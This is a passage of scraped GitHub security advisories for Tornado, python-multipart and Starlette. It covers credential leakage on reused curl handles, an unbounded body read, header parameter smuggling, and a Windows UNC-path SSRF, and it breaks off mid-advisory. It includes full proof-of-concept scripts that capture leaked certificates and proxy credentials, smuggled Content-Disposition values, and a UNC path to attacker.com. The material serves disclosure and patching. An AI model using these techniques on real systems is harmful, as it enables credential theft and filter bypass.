- Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
- Actors: An application that issues requests with differing per-request
options on a shared
CurlAsyncHTTPClient— for Vector A, mixing per-requestclient_certrequests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials. - Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
- Scope: Only applications using the optional
CurlAsyncHTTPClientbackend with the patterns above are affected. The defaultSimpleAsyncHTTPClientis not affected (and does not support proxies).
Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is
High because exploitation depends on the application using differing per-request
options on a shared client and on handle scheduling.
Mitigation
A single fix closes all instances of this class: call curl.reset() at the start
of _curl_setup_request and then re-apply the per-request options, so no state
from a prior request can persist on the reused handle. (Note curl.reset() also
clears CAINFO, which the current code intentionally leaves untouched — see the
comment at lines 401-409 — so that default would need to be re-established after
the reset.)
Alternatively, add explicit clearing branches mirroring the existing
PROXYUSERPWD/USERPWD handling:
# client certificate
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
else:
curl.unsetopt(pycurl.SSLKEY)
# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
curl.unsetopt(pycurl.PROXYUSERPWD)
# network interface
if request.network_interface:
curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
curl.unsetopt(pycurl.INTERFACE)
Until a fix is available, use a separate CurlAsyncHTTPClient instance per
distinct credential set (per client certificate / per proxy credential), or use
SimpleAsyncHTTPClient where applicable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.6"
},
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-672"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:37:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below \u2014 a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) \u2014 both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n\u2014 `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) \u2014\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A \u2014 client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B \u2014 proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n curl.setopt(pycurl.PROXY, request.proxy_host)\n curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n if request.proxy_username: # only place PROXYUSERPWD is set\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\n ...\nelse:\n try:\n curl.unsetopt(pycurl.PROXY)\n except TypeError:\n curl.setopt(pycurl.PROXY, \"\")\n curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request\u0027s\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance \u2014 a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A \u2014 client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n now = datetime.datetime.now(datetime.timezone.utc)\n cert = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(name)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n .sign(key, hashes.SHA256())\n )\n return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n now = datetime.datetime.now(datetime.timezone.utc)\n b = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(ca_cert.subject)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n )\n if ips:\n b = b.add_extension(\n x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n critical=False,\n )\n if client:\n b = b.add_extension(\n x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n )\n return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n with open(path, \"wb\") as fh:\n fh.write(cert.public_bytes(serialization.Encoding.PEM))\n if key is not None:\n fh.write(key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n\nclass TLSServer:\n def __init__(self, srv_pem, ca_pem, require):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n self.ctx.load_cert_chain(srv_pem)\n self.ctx.load_verify_locations(ca_pem)\n self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n s = self.ctx.wrap_socket(conn, server_side=True)\n self.captures.append(s.getpeercert() or None)\n try:\n s.recv(4096)\n s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n except Exception:\n pass\n s.close()\n except Exception:\n self.captures.append(\"handshake-failed\")\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef _cn(peer):\n if not peer or not isinstance(peer, dict):\n return None\n for rdn in peer.get(\"subject\", ()):\n for k, v in rdn:\n if k == \"commonName\":\n return v\n return None\n\n\nasync def main():\n with tempfile.TemporaryDirectory() as tmp:\n ca_cert, ca_key = _ca()\n s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n ca_pem = os.path.join(tmp, \"ca.pem\")\n s1_pem = os.path.join(tmp, \"s1.pem\")\n s2_pem = os.path.join(tmp, \"s2.pem\")\n cert_pem = os.path.join(tmp, \"client.crt\")\n key_pem = os.path.join(tmp, \"client.key\")\n _pem(ca_pem, ca_cert)\n _pem(s1_pem, s1_cert, s1_key)\n _pem(s2_pem, s2_cert, s2_key)\n _pem(cert_pem, cli_cert)\n with open(key_pem, \"wb\") as fh:\n fh.write(cli_key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n s1 = TLSServer(s1_pem, ca_pem, require=True)\n s2 = TLSServer(s2_pem, ca_pem, require=False)\n try:\n clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await clean.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/baseline\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n clean.close()\n\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n client_cert=cert_pem, client_key=key_pem,\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/other-host\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n s1.stop()\n s2.stop()\n\n baseline = _cn(s2.captures[0]) if s2.captures else None\n leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n print(f\"{\u0027scenario\u0027:\u003c48}{\u0027cert presented to server 2\u0027}\")\n print(f\"{\u0027-\u0027 * 48}{\u0027-\u0027 * 28}\")\n print(f\"{\u0027baseline: clean client, no client_cert\u0027:\u003c48}{baseline!r}\")\n print(f\"{\u0027exploit: reused handle (A had client_cert)\u0027:\u003c48}{leaked!r}\")\n print()\n print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n print()\n if baseline is None and leaked == \"trusted-client\":\n print(\"VERDICT: VULNERABLE \u2014 the client certificate from request A was \"\n \"presented to server 2 on request B, which specified none.\")\n return 0\n print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` \u2192 6.5.6, installed in the venv):\n\n```\nscenario cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert None\nexploit: reused handle (A had client_cert) \u0027trusted-client\u0027\n\n(sanity) server 1 (mTLS required) saw: \u0027trusted-client\u0027\n\nVERDICT: VULNERABLE \u2014 the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B \u2014 proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n def __init__(self):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n data = b\"\"\n while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n chunk = conn.recv(2048)\n if not chunk:\n break\n data += chunk\n self.captures.append(data)\n conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\n except Exception:\n pass\n finally:\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef proxy_authz(raw):\n head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n for line in head.split(\"\\r\\n\"):\n if line.lower().startswith(\"proxy-authorization:\"):\n return line\n return None\n\n\nasync def main():\n proxy_a = CapturingProxy()\n proxy_b = CapturingProxy()\n try:\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n \"http://target.example/a\",\n proxy_host=\"127.0.0.1\", proxy_port=proxy_a.port,\n proxy_username=\"alice\", proxy_password=\"secretA\",\n request_timeout=5, connect_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n \"http://target.example/b\",\n proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n request_timeout=5, connect_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n proxy_a.stop()\n proxy_b.stop()\n\n a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n print(f\"{\u0027request\u0027:\u003c42}{\u0027Proxy-Authorization seen by that proxy\u0027}\")\n print(f\"{\u0027-\u0027 * 42}{\u0027-\u0027 * 40}\")\n print(f\"{\u0027A -\u003e proxy A (alice:secretA specified)\u0027:\u003c42}{a or \u0027(none)\u0027}\")\n print(f\"{\u0027B -\u003e proxy B (NO credentials specified)\u0027:\u003c42}{b or \u0027(none)\u0027}\")\n print()\n if b and expected in b:\n print(f\"VERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials \"\n f\"({expected}) although request B specified no proxy_username.\")\n return 0\n print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n options on a shared `CurlAsyncHTTPClient` \u2014 for Vector A, mixing per-request\n `client_cert` requests with non-certificate requests; for Vector B,\n multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n handshake \u2014 proving possession of the private key and disclosing the\n certificate subject and chain \u2014 to a host that was never meant to receive it.\n For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n different proxy. If the unintended host/proxy is attacker-controlled or\n attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n endpoint, or a proxy chosen from user-controlled configuration), the credential\n is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched \u2014 see the\ncomment at lines 401-409 \u2014 so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.",
"id": "GHSA-pw6j-qg29-8w7f",
"modified": "2026-06-15T20:37:24Z",
"published": "2026-06-15T20:37:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse"
}
GHSA-V9PG-7XVM-68HF
Vulnerability from github – Published: 2026-06-15 20:23 – Updated: 2026-06-15 20:23Summary
parse_form() did not validate the Content-Length header before using it to bound its chunked read of the request body. A negative Content-Length turned the bounded read into a read-until-EOF, so the entire body was loaded into memory in a single read instead of in fixed-size chunks.
Details
parse_form() reads the input stream in chunks, never reading more than the remaining Content-Length at a time. The per-chunk size is computed as min(content_length - bytes_read, chunk_size). The header value was parsed to an integer without checking its sign, so a Content-Length of -1 made this expression negative, and input_stream.read(-1) reads until end of stream. The intended bounded, chunked read therefore collapsed into a single unbounded read of the whole stream. The amount read is still bounded by what the client actually sends.
Impact
This only affects code that calls parse_form() directly with a Content-Length header taken from attacker-controlled input and without normalizing a negative value first. No known package is affected:
- Starlette and FastAPI drive
MultipartParserdirectly from the ASGIreceive()stream and do not callparse_form(). - Known
parse_form()consumers either do not forwardContent-Lengthto it, recompute it from the already-read body, or run behind a layer (such as Werkzeug) that normalizes a negativeContent-Lengthto0.
The realistic exposure is limited to bespoke WSGI or http.server handlers that forward raw client headers into parse_form(). In that case a crafted request buffers the body in memory at once, degrading availability under concurrent requests rather than causing a complete denial of service.
Mitigation
Upgrade to version 0.0.31 or later, which rejects a negative Content-Length with a ValueError before reading the stream.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-multipart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53540"
],
"database_specific": {
"cwe_ids": [
"CWE-1284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:23:45Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\n`parse_form()` did not validate the `Content-Length` header before using it to bound its chunked read of the request body. A negative `Content-Length` turned the bounded read into a read-until-EOF, so the entire body was loaded into memory in a single read instead of in fixed-size chunks.\n\n### Details\n\n`parse_form()` reads the input stream in chunks, never reading more than the remaining `Content-Length` at a time. The per-chunk size is computed as `min(content_length - bytes_read, chunk_size)`. The header value was parsed to an integer without checking its sign, so a `Content-Length` of `-1` made this expression negative, and `input_stream.read(-1)` reads until end of stream. The intended bounded, chunked read therefore collapsed into a single unbounded read of the whole stream. The amount read is still bounded by what the client actually sends.\n\n### Impact\n\nThis only affects code that calls `parse_form()` directly with a `Content-Length` header taken from attacker-controlled input and without normalizing a negative value first. No known package is affected:\n\n* Starlette and FastAPI drive `MultipartParser` directly from the ASGI `receive()` stream and do not call `parse_form()`.\n* Known `parse_form()` consumers either do not forward `Content-Length` to it, recompute it from the already-read body, or run behind a layer (such as Werkzeug) that normalizes a negative `Content-Length` to `0`.\n\nThe realistic exposure is limited to bespoke WSGI or `http.server` handlers that forward raw client headers into `parse_form()`. In that case a crafted request buffers the body in memory at once, degrading availability under concurrent requests rather than causing a complete denial of service.\n\n### Mitigation\n\nUpgrade to version `0.0.31` or later, which rejects a negative `Content-Length` with a `ValueError` before reading the stream.",
"id": "GHSA-v9pg-7xvm-68hf",
"modified": "2026-06-15T20:23:45Z",
"published": "2026-06-15T20:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-v9pg-7xvm-68hf"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/python-multipart"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "python-multipart: Negative Content-Length in parse_form buffers the entire body in memory"
}
GHSA-VFFW-93WF-4J4Q
Vulnerability from github – Published: 2026-06-15 20:20 – Updated: 2026-07-15 22:06Summary
parse_options_header parsed Content-Disposition (and Content-Type) headers with email.message.Message, which transparently applies RFC 2231/5987 decoding. The extended parameter syntax (filename*=charset'lang'value, name*=..., and the filename*0/filename*1 continuation form) is decoded and surfaced under the bare filename/name key, and overrides the plain parameter when both are present. RFC 7578 §4.2 explicitly forbids the filename* form in multipart/form-data.
Components that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for multipart/form-data (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend.
Details
Given both a plain and an extended parameter, the extended value won. For example:
Content-Disposition: form-data; name="comment"; name*=utf-8''role
An inspector following RFC 7578 sees the field comment, while the returned value was name=role. The same applies to filenames:
Content-Disposition: form-data; name="upload"; filename="safe.txt"; filename*=utf-8''evil.php
The inspector sees safe.txt, while the returned value was filename=evil.php. Continuation parameters (filename*0, filename*1, and so on) were likewise reassembled into a filename invisible to a plain filename= match, and percent encoded sequences in the extended value were decoded (so ..%2F, %00, and similar appeared in the returned filename).
This affects the high level parse_options_header, FormParser, create_form_parser, and parse_form APIs, and reaches Starlette/FastAPI through request.form(), where the smuggled value is exposed as the form field name or UploadFile.filename.
Impact
This is an interpretation conflict (CWE-436) with other multipart/form-data parsers. An attacker able to submit multipart/form-data can present a different field name or filename to an upstream body inspecting component than the one delivered to the application. Concrete consequences depend on how the application uses these values, and may include bypassing a field name or filename based access/upload control, or, for an application that builds filesystem paths from the parsed filename without sanitization, path traversal via decoded ..%2F sequences. Decoded control bytes such as %00 can likewise cause confusion between an upstream validator and the backend. The File class applies os.path.basename, so file writing through it is not directly affected.
Mitigation
Upgrade to python-multipart 0.0.30 or later, which ignores RFC 2231/5987 extended parameters (name*, filename*, and their continuations) so the plain name/filename parameter remains authoritative. RFC 7578 §4.2 forbids filename* for multipart/form-data; name* and the continuation forms are dropped for the same reason, since they are not valid multipart/form-data parameters either.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-multipart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.30"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53537"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:20:51Z",
"nvd_published_at": "2026-06-22T18:16:44Z",
"severity": "LOW"
},
"details": "### Summary\n\n`parse_options_header` parsed `Content-Disposition` (and `Content-Type`) headers with [`email.message.Message`](https://docs.python.org/3/library/email.compat32-message.html#email.message.Message), which transparently applies [RFC 2231](https://datatracker.ietf.org/doc/html/rfc2231)/[5987](https://datatracker.ietf.org/doc/html/rfc5987) decoding. The extended parameter syntax (`filename*=charset\u0027lang\u0027value`, `name*=...`, and the `filename*0`/`filename*1` continuation form) is decoded and surfaced under the bare `filename`/`name` key, and overrides the plain parameter when both are present. [RFC 7578 \u00a74.2](https://datatracker.ietf.org/doc/html/rfc7578#section-4.2) explicitly forbids the `filename*` form in `multipart/form-data`.\n\nComponents that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for `multipart/form-data` (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend.\n\n### Details\n\nGiven both a plain and an extended parameter, the extended value won. For example:\n\n```\nContent-Disposition: form-data; name=\"comment\"; name*=utf-8\u0027\u0027role\n```\n\nAn inspector following RFC 7578 sees the field `comment`, while the returned value was `name=role`. The same applies to filenames:\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.txt\"; filename*=utf-8\u0027\u0027evil.php\n```\n\nThe inspector sees `safe.txt`, while the returned value was `filename=evil.php`. Continuation parameters (`filename*0`, `filename*1`, and so on) were likewise reassembled into a `filename` invisible to a plain `filename=` match, and percent encoded sequences in the extended value were decoded (so `..%2F`, `%00`, and similar appeared in the returned filename).\n\nThis affects the high level `parse_options_header`, `FormParser`, `create_form_parser`, and `parse_form` APIs, and reaches Starlette/FastAPI through `request.form()`, where the smuggled value is exposed as the form field name or [`UploadFile.filename`](https://www.starlette.io/requests/#request-files).\n\n### Impact\n\nThis is an interpretation conflict ([CWE-436](https://cwe.mitre.org/data/definitions/436.html)) with other `multipart/form-data` parsers. An attacker able to submit `multipart/form-data` can present a different field name or filename to an upstream body inspecting component than the one delivered to the application. Concrete consequences depend on how the application uses these values, and may include bypassing a field name or filename based access/upload control, or, for an application that builds filesystem paths from the parsed filename without sanitization, path traversal via decoded `..%2F` sequences. Decoded control bytes such as `%00` can likewise cause confusion between an upstream validator and the backend. The `File` class applies `os.path.basename`, so file writing through it is not directly affected.\n\n### Mitigation\n\nUpgrade to `python-multipart` `0.0.30` or later, which ignores RFC 2231/5987 extended parameters (`name*`, `filename*`, and their continuations) so the plain `name`/`filename` parameter remains authoritative. RFC 7578 \u00a74.2 forbids `filename*` for `multipart/form-data`; `name*` and the continuation forms are dropped for the same reason, since they are not valid `multipart/form-data` parameters either.",
"id": "GHSA-vffw-93wf-4j4q",
"modified": "2026-07-15T22:06:51Z",
"published": "2026-06-15T20:20:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-vffw-93wf-4j4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53537"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/python-multipart"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vffw-93wf-4j4q"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/blob/main/vulns/python-multipart/PYSEC-2026-3041.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/python-multipart"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "python-multipart: Content-Disposition parameter smuggling via RFC 2231/5987 extended parameters"
}
GHSA-WQP7-X3PW-XC5R
Vulnerability from github – Published: 2026-06-15 20:16 – Updated: 2026-06-15 20:16Summary
When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.
Details
StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.
This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O.
Impact
